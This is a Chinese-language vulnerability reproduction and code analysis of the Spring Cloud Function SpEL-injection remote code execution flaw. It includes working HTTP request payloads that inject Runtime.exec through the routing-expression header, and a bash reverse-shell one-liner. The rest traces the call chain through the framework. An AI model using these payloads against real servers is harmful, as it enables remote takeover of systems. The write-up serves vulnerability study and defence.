Spring Cloud Function SpEL表达式RCE漏洞复现分析

Spring Cloud功能特点


3.0.0.M3 <= Spring Cloud Function <=3.2.2

环境搭建

选择版本为V3.1.6

根据Tags的更新时间选择，还是选择3.1.6比较稳妥，使用IDEA导入项目


jar包的下载确实很慢，真是麻了。实际上不用下载那么多jar包，确实用不到，导入项目于spring-cloud-function-3.1.6spring-cloud-function-3.1.6spring-cloud-function-samplesfunction-sample-pojo修改配置文件spring-cloud-function-3.1.6spring-cloud-function-3.1.6spring-cloud-function-samplesfunction-sample-pojosrcmainresourcesappliaction.properties添加

spring.cloud.function.definition:functionRouter


配置maven启动项目



http://127.0.0.1:8080


利用

构造payload

POST /Ggoodstudy HTTP/1.1
Host: 127.0.0.1:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc.exe")
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Length: 4

gdsf


这不就吐了么，修改配置文件才能RCE????


但是修改路由，当路由指定为functionRouter的时候，不修改配置文件已经可以执行恶意payload

POST /functionRouter HTTP/1.1
Host: 127.0.0.1:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc.exe")
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Length: 14

dfdfijkghjkg


POST请求且必须传参。

反弹shell

bash -i >& /dev/tvp/xx.xxx.xx.xx/port 0>&1

进行base64编码，由于这里我使用的是windows环境，所以无法使用反弹shell，具体需要对反弹shell命令进行编码的原因在分析CVE-2018-1270的时候已经分析过了。


首先我们需要了解到spring框架中比较常见的几个jar包

• spring-beans

  所有应用都要用到的，它包含访问配置文件、创建和管理bean 以及进行Inversion of Control / Dependency Injection（IoC/DI）操作相关的所有类。

• spring-Expression

  进行SpEL表达式解析

• spring-core

  Spring 框架基本的核心工具类。Spring 其它组件要都要使用到这个包里的类，是其它组件的基本核心

• spring-jdbc

  存放对jdbc数据库数据访问所有相关的类

• spring-messaging

api以及协议接口

• spring-context

  为Spring核心提供了大量扩展。可以找到使用Spring ApplicationContext特性时所需的全部类等

• spring-web

  包含Web 应用开发时，用到Spring 框架时所需的核心类，包括自动载入Web Application Context 特性的类、Struts 与JSF 集成类、文件上传的支持类、Filter 类和大量工具辅助类。

• pring-webmvc

  包含Spring MVC 框架相关的所有类。包括框架的Servlets，Web MVC框架，控制器和视图支持。

向上查找利用链

SpEL表达式的内容是在spring-expression中处理的,在RoutingFunction类中调用


这里会取出spring.cloud.function.routing-expression:属性的spel表达式


这个方法属于布尔型的判断，这里的属性构造在请求头内，调用了apply方法


继续向上分析


到达SimpleFunctionRegistry.java类的698行，这个apply的方法的触发时


是在646行定义的，且调用方法doapply，而doapply也在apply方法中调用了，在往上查找就到了FunctionWebRequestProcessingHelper类的processRequest方法


继续向上查找，到了控制层了，到此为止我们的向上查找已经结束，利用链很强清晰，那么对不对呢，我们使用向下查找利用链来做验证，请看下文

向下查找利用链

控制层传入数据首先查找路由，在control层的定位在FunctionControl类中的74行


调用FunctionWebRequestProcessingHelper类中的http请求参数方法processRequest


可以看到processRequest方法会获取到我们构造payload的方法，在方法为RoutingFunction的情况下会直接调用RoutingFunction类中的applay方法


此时我们可以看到这里调用了Route方法


而在该方法中会读取构造的请求头spring.cloud.function.routing-expression属性的值，调用了方法functionFormExpression，但是在该方法中的parseExpression方法会对SpEL表达式进行解析



那么我们在调试的过程中


getValue方法执行的又是什么呢？

这里自然是执行的传入的paylaod的内容以及执行解析后的表达式

到这里我们能够发现两条链刚好是对称的，说明分析没有问题。

分析了spring-cloud-function可以发现，spring框架的几个由SpEL表达式注入造成的RCE的触发点基本上都很相似，触发类以及触发路由分析对于漏洞挖掘来说都有可以借鉴的地方。

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